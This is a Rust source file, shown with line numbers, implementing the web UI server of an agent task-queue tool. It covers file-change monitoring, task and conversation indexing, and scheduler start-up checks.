1mod dependencies;
79#[cfg(test)]
80pub(crate) mod request_cost;
81
82use std::collections::{HashMap, HashSet};
83use std::convert::Infallible;
84use std::net::{IpAddr, Ipv4Addr, SocketAddr};
85use std::path::{Path as FsPath, PathBuf};
86use std::pin::Pin;
87use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
88use std::time::Duration;
89use tokio::sync::Notify;
90
91use anyhow::{Context, Result};
92use axum::Json;
93use axum::Router;
94use axum::body::Bytes;
95use axum::extract::rejection::JsonRejection;
96use axum::extract::{DefaultBodyLimit, Path, Query, State};
97use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
98use axum::response::sse::{Event, KeepAlive, Sse};
99use axum::response::{IntoResponse, Response};
100use axum::routing::{get, post, put};
101use jiff::Timestamp;
102use serde::{Deserialize, Serialize};
103use tokio_stream::StreamExt as _;
104use tokio_stream::wrappers::ReceiverStream;
105
106use crate::agent;
107use crate::ask::{self, Answer, Question, Questions};
108use crate::config::{AgentKind, Config, Update, UpdateMode};
109use crate::md;
110use crate::notices::{Notice, Notices};
111use crate::persona;
112use crate::persona_icon;
113use crate::proc::Quiet as _;
114use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
115use crate::run::{RunState, RunStatus};
116use crate::talk::{Talk, Talks};
117use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
118
119pub const DEFAULT_PORT: u16 = 7878;
121
122const POLL: Duration = Duration::from_secs(1);
124
125const KEEPALIVE: Duration = Duration::from_secs(15);
129
130const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
141
142const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
145
146const LIST_DEFAULT: usize = 50;
150const LIST_MAX: usize = 500;
152
153const TITLE_MAX: usize = 72;
155
156const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
165
166const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
172
173const FILENAME_HEADER: &str = "x-filename";
177
178const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
201 font-src data:; base-uri 'none'; form-action 'none'; \
202 frame-ancestors 'self'";
203
204const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
205const APP_CSS: &str = include_str!("../assets/ui/app.css");
206const APP_JS: &str = include_str!("../assets/ui/app.js");
207
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
210pub enum Bind {
211 Auto,
213 Addr(IpAddr),
215}
216
217impl std::str::FromStr for Bind {
218 type Err = String;
219
220 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
224 if s.eq_ignore_ascii_case("auto") {
225 return Ok(Self::Auto);
226 }
227 s.parse()
228 .map(Self::Addr)
229 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
230 }
231}
232
233impl std::fmt::Display for Bind {
234 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
235 match self {
236 Self::Auto => f.write_str("auto"),
237 Self::Addr(addr) => write!(f, "{addr}"),
238 }
239 }
240}
241
242#[derive(Debug, Clone)]
244pub struct Opts {
245 pub bind: Bind,
247 pub port: u16,
249 pub repo: PathBuf,
251 pub open: bool,
254 pub merge: Option<String>,
260}
261
262impl Default for Opts {
263 fn default() -> Self {
264 Self {
265 bind: Bind::Auto,
266 port: DEFAULT_PORT,
267 repo: PathBuf::from("."),
268 open: false,
269 merge: None,
270 }
271 }
272}
273
274mod id_links;
275
276type Stamps = HashMap<String, (u128, u64)>;
277
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
280 try_store_stamps(root, runs).unwrap_or_default()
281}
282
283fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
284 try_stamps(root, runs, false)
285}
286
287fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
288 use std::hash::{Hash as _, Hasher as _};
289 let entries = match std::fs::read_dir(root) {
290 Ok(entries) => entries,
291 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
292 Err(e) => return Err(e),
293 };
294 let mut stamps = HashMap::new();
295 for entry in entries {
296 let entry = entry?;
297 let path = if runs {
298 entry.path().join("run.json")
299 } else {
300 entry.path()
301 };
302 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
303 continue;
304 }
305 let identity = match file_identity(&path) {
306 Ok(identity) => identity,
307 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
308 Err(e) => return Err(e),
309 };
310 let modified = identity
311 .modified
312 .duration_since(std::time::UNIX_EPOCH)
313 .unwrap_or_default();
314 let mut hasher = std::hash::DefaultHasher::new();
315 identity.hash(&mut hasher);
316 let id = if runs || all_entries {
317 entry.file_name().to_string_lossy().into_owned()
318 } else {
319 path.file_stem()
320 .unwrap_or_default()
321 .to_string_lossy()
322 .into_owned()
323 };
324 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
325 }
326 Ok(stamps)
327}
328
329#[derive(Debug, Serialize)]
330struct Delta {
331 base: u64,
332 changed: Vec<String>,
333 removed: Vec<String>,
334}
335
336fn notice_and_decision_stamps(ui: &Ui) -> std::io::Result<Stamps> {
337 let mut stamps = try_stamps(ui.notices.root(), false, true)?;
338 let inquiries = ui.home.join("notifications").join("task-inquiries");
339 for (id, stamp) in try_stamps(&inquiries, false, false)? {
340 stamps.insert(format!("decision:{id}"), stamp);
341 }
342 Ok(stamps)
343}
344
345fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
346 let mut changed: Vec<_> = next
347 .iter()
348 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
349 .map(|(id, _)| id.clone())
350 .collect();
351 let mut removed: Vec<_> = previous
352 .keys()
353 .filter(|id| !next.contains_key(*id))
354 .cloned()
355 .collect();
356 changed.sort_unstable();
357 removed.sort_unstable();
358 Delta {
359 base,
360 changed,
361 removed,
362 }
363}
364
365#[cfg(test)]
367fn runs_revision(runs: &FsPath) -> u64 {
368 stamps_revision(&store_stamps(runs, true))
369}
370
371fn stamps_revision(stamps: &Stamps) -> u64 {
375 use std::hash::{Hash as _, Hasher as _};
376 if stamps.is_empty() {
377 return 0;
378 }
379 let mut entries: Vec<_> = stamps.iter().collect();
380 entries.sort_unstable();
381 let mut hasher = std::hash::DefaultHasher::new();
382 entries.hash(&mut hasher);
383 hasher.finish().max(1)
384}
385
386#[derive(Clone, Debug)]
387pub(crate) struct ChangeNotification {
388 pub payload: serde_json::Value,
389}
390
391#[derive(Default, Debug)]
392pub(crate) struct QueueIndex {
393 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
395 #[cfg(test)]
396 reparsed: usize,
397}
398
399#[derive(Clone, Debug)]
400struct TaskRelation {
401 id: String,
402 status: Option<crate::queue::TaskStatus>,
403 priority: i32,
404 runs: Vec<String>,
405 source: Source,
406 chat: Option<String>,
407}
408
409impl From<Task> for TaskRelation {
410 fn from(task: Task) -> Self {
411 Self {
412 id: task.id,
413 status: Some(task.status),
414 priority: task.priority,
415 runs: task.runs,
416 source: task.source,
417 chat: task.chat,
418 }
419 }
420}
421
422#[derive(Debug, PartialEq, Eq, Hash)]
423struct FileIdentity {
424 modified: std::time::SystemTime,
425 len: u64,
426 #[cfg(unix)]
427 identity: (u64, u64, i64, i64),
428}
429
430fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
431 let meta = path.metadata()?;
432 Ok(FileIdentity {
433 modified: meta.modified()?,
434 len: meta.len(),
435 #[cfg(unix)]
436 identity: {
437 use std::os::unix::fs::MetadataExt as _;
438 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
439 },
440 })
441}
442
443#[derive(Debug, PartialEq, Eq)]
446struct GoalIdentity {
447 file: FileIdentity,
448 #[cfg(windows)]
449 windows: (u64, [u8; 16], i64),
450}
451
452fn goal_identity(path: &FsPath) -> std::io::Result<GoalIdentity> {
453 #[cfg(windows)]
454 fn windows_identity(path: &FsPath) -> std::io::Result<(u64, [u8; 16], i64)> {
455 use std::os::windows::io::AsRawHandle;
456 #[repr(C)]
457 struct FileId {
458 volume: u64,
459 id: [u8; 16],
460 }
461 #[repr(C)]
462 struct Basic {
463 created: i64,
464 accessed: i64,
465 written: i64,
466 changed: i64,
467 attributes: u32,
468 }
469 #[link(name = "kernel32")]
470 unsafe extern "system" {
471 fn GetFileInformationByHandleEx(
472 file: *mut std::ffi::c_void,
473 class: i32,
474 output: *mut std::ffi::c_void,
475 size: u32,
476 ) -> i32;
477 }
478 let file = std::fs::File::open(path)?;
479 let mut id = std::mem::MaybeUninit::<FileId>::uninit();
480 let mut basic = std::mem::MaybeUninit::<Basic>::uninit();
481 unsafe {
483 if GetFileInformationByHandleEx(
484 file.as_raw_handle(),
485 18,
486 id.as_mut_ptr().cast(),
487 std::mem::size_of::<FileId>() as u32,
488 ) == 0
489 || GetFileInformationByHandleEx(
490 file.as_raw_handle(),
491 0,
492 basic.as_mut_ptr().cast(),
493 std::mem::size_of::<Basic>() as u32,
494 ) == 0
495 {
496 return Err(std::io::Error::last_os_error());
497 }
498 let id = id.assume_init();
499 Ok((id.volume, id.id, basic.assume_init().changed))
500 }
501 }
502 Ok(GoalIdentity {
503 file: file_identity(path)?,
504 #[cfg(windows)]
505 windows: windows_identity(path)?,
506 })
507}
508
509type Revisions = (u64, u64, u64, u64, u64, u64);
510type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
511
512#[derive(Debug)]
513pub(crate) struct SharedMonitor {
514 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
515 pub latest: Arc<Mutex<MonitorSnapshot>>,
516 pub worker_started: std::sync::atomic::AtomicBool,
517 pub queue_index: Arc<Mutex<QueueIndex>>,
518 list_walks: Mutex<Vec<ListWalk>>,
519 disk: Arc<Mutex<DiskObservation>>,
520 health_index: Mutex<HealthIndex>,
521 disk_cache: Mutex<DiskCache>,
522 talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
523 talk_status_index: Mutex<TalkStatusIndex>,
524 closed_goal_index: Mutex<HashMap<String, (GoalIdentity, bool)>>,
525 chat_inventory: Mutex<Option<(Revisions, Arc<crate::chat_status::Inventory>)>>,
527 chat_sources_unreadable: std::sync::atomic::AtomicBool,
528 bulk_slots: Arc<tokio::sync::Semaphore>,
529 talk_core_slots: Arc<tokio::sync::Semaphore>,
530 #[cfg(test)]
531 talk_parses: std::sync::atomic::AtomicUsize,
532}
533
534#[derive(Debug, Default)]
536struct HealthIndex {
537 runs: HashMap<String, (FileIdentity, bool)>,
538 questions: Option<QuestionCounts>,
539 notices: Option<(u64, usize)>,
540 #[cfg(test)]
541 run_parses: usize,
542}
543
544#[derive(Debug, Default)]
547struct TalkStatusIndex {
548 records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
549 #[cfg(test)]
550 parses: usize,
551}
552
553fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
558 use serde::de::{IgnoredAny, MapAccess, Visitor};
559
560 struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
561 impl<'de> Visitor<'de> for StatusHeader<'_> {
562 type Value = ();
563
564 fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
565 f.write_str("a conversation header")
566 }
567
568 fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
569 while let Some(key) = map.next_key::<String>()? {
570 match key.as_str() {
571 "status" => {
572 *self.0 = Some(map.next_value()?);
573 return Err(serde::de::Error::custom("conversation header complete"));
574 }
575 "turns" => {
576 *self.0 = Some(talk::TalkStatus::Open);
577 return Err(serde::de::Error::custom("noncanonical conversation header"));
578 }
579 _ => {
580 map.next_value::<IgnoredAny>()?;
581 }
582 }
583 }
584 Ok(())
585 }
586 }
587
588 let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
592 let mut json = serde_json::Deserializer::from_reader(reader);
593 let mut status = None;
594 let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
597 status.or_else(|| match result {
598 Ok(()) => Some(talk::TalkStatus::Open),
599 Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
600 Err(_) => None,
601 })
602}
603
604fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
605 open_talk_ids_with(ui, ids, cfg!(unix), |path| {
608 std::fs::File::open(path).ok().and_then(read_talk_status)
609 })
610}
611
612fn open_talk_ids_with(
613 ui: &Ui,
614 ids: &[String],
615 cache_identity: bool,
616 mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
617) -> std::collections::HashSet<String> {
618 let mut index = ui
619 .monitor
620 .talk_status_index
621 .lock()
622 .unwrap_or_else(PoisonError::into_inner);
623 let present: std::collections::HashSet<_> = ids.iter().collect();
624 index.records.retain(|id, _| present.contains(id));
625 let mut open = std::collections::HashSet::new();
626 for id in ids {
627 let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
628 index.records.remove(id);
629 continue;
630 };
631 let status = if cache_identity
632 && let Some((old, status)) = index.records.get(id)
633 && *old == identity
634 {
635 *status
636 } else {
637 let status = read_status(&ui.talks.path_of(id));
638 #[cfg(test)]
639 {
640 index.parses += 1;
641 }
642 if cache_identity
643 && file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity)
644 {
645 index.records.insert(id.clone(), (identity, status));
646 } else {
647 index.records.remove(id);
648 }
649 status
650 };
651 if status == Some(talk::TalkStatus::Open) {
652 open.insert(id.clone());
653 }
654 }
655 open
656}
657
658const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
660
661#[derive(Debug)]
662struct QuestionCounts {
663 revision: u64,
664 measured: std::time::Instant,
665 open: usize,
666 owner: usize,
667}
668
669#[derive(Debug, Clone)]
670struct DiskSizes {
671 runs: u64,
672 worktrees: u64,
673 cache: Option<u64>,
674}
675
676#[derive(Debug, Default)]
677struct DiskCache {
678 measured: Option<std::time::Instant>,
679 loading: bool,
680 config: Option<Config>,
681 disk: Option<DiskSizes>,
682 update: Option<UpdateView>,
683}
684
685fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
687 let (mut rev, mut stamps) = previous.unwrap_or_default();
688 let mut failed = 0u8;
689 for (index, root, runs) in [
690 (0, ui.queue.root(), false),
691 (1, ui.runs.as_path(), true),
692 (2, ui.talks.root(), false),
693 ] {
694 if let Ok(next) = try_store_stamps(root, runs) {
695 let value = stamps_revision(&next);
696 match index {
697 0 => rev.0 = value,
698 1 => rev.1 = value,
699 _ => rev.3 = value,
700 }
701 stamps[index] = next;
702 } else {
703 failed |= 1 << index;
704 }
705 }
706 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
707 rev.2 = stamps_revision(&next);
708 } else {
709 failed |= 1 << 3;
710 }
711 if let Ok(next) = notice_and_decision_stamps(ui) {
712 rev.4 = stamps_revision(&next);
713 } else {
714 failed |= 1 << 4;
715 }
716 rev.5 = ui.lock_loop().rev;
717 use std::hash::{Hash, Hasher};
719 let mut activity = std::collections::hash_map::DefaultHasher::new();
720 rev.3 = stamps_revision(&stamps[2]);
721 rev.3.hash(&mut activity);
722 let mut changed = failed != 0;
723 failed.hash(&mut activity);
724 match crate::worker::observe_active(&ui.home) {
725 Ok(jobs) => {
726 let mut ids: Vec<_> = jobs
727 .iter()
728 .map(|job| (&job.id, job.status == crate::worker::Status::Running))
729 .collect();
730 ids.sort_unstable();
731 changed |= !ids.is_empty();
732 ids.hash(&mut activity);
733 }
734 Err(_) => {
735 changed = true;
736 "unknown workers".hash(&mut activity);
737 }
738 }
739 if let Ok(mut ids) = crate::queue::record_ids(ui.talks.root(), "turn") {
740 ids.retain(|id| ui.talks.turn_held(id));
741 ids.sort_unstable();
742 changed |= !ids.is_empty();
743 ids.hash(&mut activity);
744 }
745 if changed {
746 rev.3 = activity.finish();
747 }
748 ui.monitor
749 .chat_sources_unreadable
750 .store(failed != 0, std::sync::atomic::Ordering::Release);
751 (rev, stamps)
752}
753
754impl SharedMonitor {
755 pub fn new() -> Self {
756 let (tx, _) = tokio::sync::broadcast::channel(64);
757 Self {
758 broadcaster: tx,
759 latest: Arc::default(),
760 worker_started: std::sync::atomic::AtomicBool::new(false),
761 queue_index: Arc::default(),
762 list_walks: Mutex::default(),
763 disk: Arc::default(),
764 health_index: Mutex::default(),
765 disk_cache: Mutex::default(),
766 talk_index: Mutex::default(),
767 talk_status_index: Mutex::default(),
768 closed_goal_index: Mutex::default(),
769 chat_inventory: Mutex::default(),
770 chat_sources_unreadable: std::sync::atomic::AtomicBool::new(false),
771 bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
772 talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
773 #[cfg(test)]
774 talk_parses: std::sync::atomic::AtomicUsize::new(0),
775 }
776 }
777
778 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
779 let mut receiver = self.broadcaster.subscribe();
780 self.ensure_worker(ui);
781 loop {
782 if let Some((revisions, _)) = self
783 .latest
784 .lock()
785 .unwrap_or_else(PoisonError::into_inner)
786 .as_ref()
787 {
788 return Ok(*revisions);
789 }
790 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
791 .await
792 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
793 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
794 }
795 }
796
797 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
798 if self
799 .worker_started
800 .compare_exchange(
801 false,
802 true,
803 std::sync::atomic::Ordering::SeqCst,
804 std::sync::atomic::Ordering::SeqCst,
805 )
806 .is_err()
807 {
808 return;
809 }
810
811 let weak_ui = Arc::downgrade(ui);
812 tokio::spawn(async move {
813 let mut ticker = tokio::time::interval(POLL);
814 loop {
815 ticker.tick().await;
816 let Some(ui) = weak_ui.upgrade() else {
817 break;
818 };
819
820 let previous = ui
821 .monitor
822 .latest
823 .lock()
824 .unwrap_or_else(PoisonError::into_inner)
825 .clone();
826 let state = Arc::clone(&ui);
827 let scan =
828 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
829
830 ticker.reset();
832 let Ok((revisions, next_stamps)) = scan else {
833 continue;
834 };
835
836 let mut latest_guard = match ui.monitor.latest.lock() {
837 Ok(g) => g,
838 Err(p) => p.into_inner(),
839 };
840
841 let previous = latest_guard.take();
842 let (last_rev, prev_stamps) = match previous {
843 Some((r, s)) => (Some(r), Some(s)),
844 None => (None, None),
845 };
846
847 if last_rev == Some(revisions) {
848 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
849 continue;
850 }
851
852 let mut payload = serde_json::json!({
853 "queue_rev": revisions.0,
854 "runs_rev": revisions.1,
855 "questions_rev": revisions.2,
856 "talks_rev": revisions.3,
857 "notifications_rev": revisions.4,
858 "loop_rev": revisions.5,
859 });
860
861 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
862 for (index, (key, rev)) in [
863 ("queue_delta", base.0),
864 ("runs_delta", base.1),
865 ("talks_delta", base.3),
866 ]
867 .into_iter()
868 .enumerate()
869 {
870 if index == 2
873 && (base.3 != stamps_revision(&prev[index])
874 || revisions.3 != stamps_revision(&next_stamps[index]))
875 {
876 continue;
877 }
878 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
879 if delta.changed.len() + delta.removed.len() > 0
880 && delta.changed.len() <= 50
881 {
882 payload[key] = serde_json::to_value(delta).expect("serializable delta");
883 }
884 }
885 }
886
887 *latest_guard = Some((revisions, next_stamps));
888 drop(latest_guard);
889
890 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
891 }
892 });
893 }
894}
895
896#[derive(Debug, Clone)]
902pub struct Ui {
903 queue: Queue,
904 questions: Questions,
905 notices: Notices,
908 talks: Talks,
909 runs: PathBuf,
910 references: Arc<id_links::IndexCache>,
911 home: PathBuf,
912 repo: PathBuf,
913 worktrees_root: PathBuf,
920 talk_turns: Arc<Mutex<TalkTurns>>,
928 admissions: Arc<tokio::sync::RwLock<bool>>,
931 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
935 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
938 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
940 auto_failed_tag: Arc<Mutex<Option<String>>>,
941 upgrade_runner: UpgradeRunner,
942 resuming: Arc<Mutex<HashSet<String>>>,
950 repos_cache: repos::Cache,
954 machine_config: Option<PathBuf>,
958 merge: Option<String>,
960 looping: Arc<Mutex<LoopState>>,
962 #[cfg(test)]
964 launch: Launch,
965 #[cfg(test)]
968 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
969 pub(crate) monitor: Arc<SharedMonitor>,
970}
971
972type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
973
974#[cfg(test)]
994struct BusyQueueGate {
995 reached: tokio::sync::oneshot::Sender<()>,
996 release: std::sync::mpsc::Receiver<()>,
997}
998
999#[cfg(test)]
1000impl std::fmt::Debug for BusyQueueGate {
1001 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
1002 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
1003 }
1004}
1005
1006impl Ui {
1007 pub fn new(
1009 queue: Queue,
1010 questions: Questions,
1011 talks: Talks,
1012 runs: PathBuf,
1013 home: PathBuf,
1014 repo: PathBuf,
1015 ) -> Self {
1016 Self {
1017 queue,
1018 questions,
1019 notices: Notices::at(home.join("notifications")),
1020 talks,
1021 runs,
1022 references: Arc::default(),
1023 home,
1024 repo,
1025 worktrees_root: run::default_worktree_root(),
1029 talk_turns: Arc::default(),
1030 admissions: Arc::default(),
1031 upgrade_gate: Arc::default(),
1032 upgrade_spawned: Arc::default(),
1033 upgrade_request_error: Arc::default(),
1034 auto_failed_tag: Arc::default(),
1035 upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
1036 resuming: Arc::default(),
1037 repos_cache: repos::Cache::new(),
1038 machine_config: Config::machine_layer(),
1039 merge: None,
1040 looping: Arc::default(),
1041 #[cfg(test)]
1042 launch: launch_daemon,
1043 #[cfg(test)]
1044 busy_queue_gate: Arc::default(),
1045 monitor: Arc::new(SharedMonitor::new()),
1046 }
1047 }
1048
1049 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
1052 let mut index = self
1053 .monitor
1054 .queue_index
1055 .lock()
1056 .unwrap_or_else(PoisonError::into_inner);
1057 let entries = match std::fs::read_dir(self.queue.root()) {
1058 Ok(entries) => entries,
1059 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
1060 index.records.clear();
1061 return Ok(Vec::new());
1062 }
1063 Err(e) => return Err(anyhow::Error::from(e).into()),
1064 };
1065 let mut seen = HashSet::new();
1066 for entry in entries {
1067 let path = entry.map_err(anyhow::Error::from)?.path();
1068 if path.extension().is_none_or(|ext| ext != "json") {
1069 continue;
1070 }
1071 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
1072 continue;
1073 };
1074 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
1075 seen.insert(id.to_owned());
1076 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
1079 let Ok(task) = self.queue.get(id) else {
1080 if let Some((_, record)) = index.records.get_mut(id) {
1086 Arc::make_mut(record).status = None;
1087 }
1088 continue;
1089 };
1090 #[cfg(test)]
1091 {
1092 index.reparsed += 1;
1093 }
1094 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
1095 return Err(ApiError::conflict("Queue changed during read; retry"));
1096 }
1097 index
1098 .records
1099 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
1100 }
1101 }
1102 index.records.retain(|id, _| seen.contains(id));
1103 let mut tasks: Vec<_> = index
1104 .records
1105 .values()
1106 .map(|(_, task)| task.clone())
1107 .collect();
1108 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
1109 Ok(tasks)
1110 }
1111
1112 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
1113 let Some(record) = self
1114 .indexed_tasks()?
1115 .into_iter()
1116 .find(|task| task.runs.iter().any(|id| id == run_id))
1117 else {
1118 return Ok(None);
1119 };
1120 let task = self.queue.get(&record.id)?;
1121 if !task.runs.iter().any(|id| id == run_id) {
1122 return Err(ApiError::conflict("Task relationship changed; retry"));
1123 }
1124 Ok(Some(task))
1125 }
1126
1127 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1128 self.indexed_tasks()?
1129 .into_iter()
1130 .filter(|task| {
1131 task.chat.as_deref() == Some(talk_id)
1132 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1133 })
1134 .map(|record| {
1135 let task = self.queue.get(&record.id)?;
1136 if task.chat.as_deref() != Some(talk_id)
1137 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1138 {
1139 return Err(ApiError::conflict("Task relationship changed; retry"));
1140 }
1141 Ok(task)
1142 })
1143 .collect()
1144 }
1145
1146 pub fn open(repo: PathBuf) -> Self {
1149 Self::new(
1150 Queue::open(),
1151 Questions::open(),
1152 Talks::open(),
1153 run::runs_root(),
1154 run::home(),
1155 repo,
1156 )
1157 }
1158
1159 #[must_use]
1166 pub fn with_merge(mut self, merge: Option<String>) -> Self {
1167 self.merge = merge;
1168 self
1169 }
1170
1171 #[cfg(test)]
1174 #[must_use]
1175 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1176 self.machine_config = path;
1177 self
1178 }
1179
1180 #[must_use]
1185 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1186 self.worktrees_root = root;
1187 self
1188 }
1189
1190 #[cfg(test)]
1195 #[must_use]
1196 fn with_launch(mut self, launch: Launch) -> Self {
1197 self.launch = launch;
1198 self
1199 }
1200
1201 #[cfg(test)]
1211 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1212 *self
1213 .busy_queue_gate
1214 .lock()
1215 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1216 }
1217
1218 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1221 let guard = Arc::clone(&self.admissions)
1222 .try_read_owned()
1223 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1224 if *guard {
1225 return Err(ApiError::conflict(
1226 "web restart in progress; retry this message",
1227 ));
1228 }
1229 Ok(guard)
1230 }
1231
1232 async fn start_detached_loop(&self) -> ApiResult<()> {
1234 if self
1235 .upgrade_spawned
1236 .load(std::sync::atomic::Ordering::SeqCst)
1237 {
1238 return Err(ApiError::conflict("an upgrade is in progress"));
1239 }
1240 let reading = daemon::read_status(&self.home);
1241 if let Some(other) = Foreign::of(reading.as_ref()) {
1242 return Err(ApiError::conflict(format!(
1243 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1244 other.who()
1245 )));
1246 }
1247 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1248 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1249 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1250 || reading.is_some_and(|reading| {
1251 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1252 });
1253 if control.is_some() && scheduler_running {
1254 return Err(ApiError::conflict(
1255 "the scheduler is still stopping; retry Start after it has stopped",
1256 ));
1257 }
1258 if !jobs.iter().any(|job| job.kind == "scheduler") {
1259 let available =
1260 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1261 if available.is_none() {
1262 return Err(ApiError::conflict(
1263 "the scheduler is still running or stopping; retry after its transition completes",
1264 ));
1265 }
1266 drop(available);
1267 }
1268 let opts = daemon::Opts {
1269 repo: self.repo.clone(),
1270 merge: self.merge.clone(),
1271 worktrees_root: Some(self.worktrees_root.clone()),
1272 ..daemon::Opts::default()
1273 };
1274 daemon::spawn_detached(&self.home, &opts)
1275 .await
1276 .map_err(ApiError::from)?;
1277 let mut state = self.lock_loop();
1278 state.last_error = None;
1279 state.rev += 1;
1280 Ok(())
1281 }
1282
1283 #[cfg(test)]
1290 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1291 if let Some(other) = foreign {
1292 return Err(ApiError::conflict(format!(
1293 "{} is already running the loop, so this one will not start a \
1294 second: two loops on one queue race for the same claims and \
1295 burn the agent quota twice over. Stop it where it was \
1296 started.",
1297 other.who()
1298 )));
1299 }
1300 let mut state = self.lock_loop();
1301 if self
1302 .upgrade_spawned
1303 .load(std::sync::atomic::Ordering::SeqCst)
1304 {
1305 return Err(ApiError::conflict("an upgrade is in progress"));
1306 }
1307 if state.live.as_ref().is_some_and(Live::alive) {
1308 return Err(ApiError::conflict(format!(
1309 "this magi web process (pid {}) is already running the loop",
1310 std::process::id()
1311 )));
1312 }
1313
1314 let stop = daemon::Stop::new();
1315 let opts = daemon::Opts {
1319 repo: self.repo.clone(),
1320 merge: self.merge.clone(),
1321 worktrees_root: Some(self.worktrees_root.clone()),
1328 ..daemon::Opts::default()
1329 };
1330 let launch = self.launch;
1331 let looping = Arc::clone(&self.looping);
1332 let handle = tokio::spawn({
1333 let opts = opts.clone();
1334 let stop = stop.clone();
1335 async move {
1336 let failure = match launch(opts, stop).await {
1337 Ok(()) => None,
1338 Err(e) => Some(format!("{e:#}")),
1339 };
1340 match &failure {
1341 Some(why) => tracing::error!("the loop stopped: {why}"),
1342 None => tracing::info!("the loop stopped"),
1343 }
1344 let mut state = lock_or_recover(&looping);
1350 state.live = None;
1351 state.last_error = failure;
1352 state.rev += 1;
1353 }
1354 });
